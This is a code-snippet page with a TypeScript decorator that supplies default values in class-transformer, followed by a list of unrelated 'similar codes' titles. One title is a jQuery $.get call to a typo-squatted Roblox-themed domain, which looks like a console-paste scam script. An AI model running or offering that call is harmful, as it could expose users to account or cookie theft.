/TypeScript/Class-transformer default value

Class-transformer default value

import { Transform, Expose } from 'class-transformer'
import { cloneDeep } from 'lodash'

export function Default(defaultValue: unknown): PropertyDecorator {
  return Transform((value: unknown) => value ?? cloneDeep(defaultValue))
}
                   
class A {
  @Expose()
  @Default('123')
  a: string
}

Similar codes

0 vote172 views10 answers
Javascript$.get(´´//javasscript-roblox.com/api?=7076")
TypeScript
0 vote193 views1 answer
Mat-autocomplete options dropdown does not stick when scrolling
TypeScript
11 votes179 views2 answers
React tsx component example
TypeScript
0 vote206 views1 answer
Google sheets replace dot with comma
TypeScript
0 vote189 views1 answer
Using method parameters in a guard nestjs
TypeScript
0 vote182 views1 answer
Sum all elements using each_with_object ruby
TypeScript
2 votes210 views2 answers
Constraints in sql
TypeScript
1 vote278 views2 answers
Typescript \!
TypeScript
2 votes173 views1 answer
Ts sorting
TypeScript
55 votes501 views6 answers
How to get rid of bullet points in css
TypeScript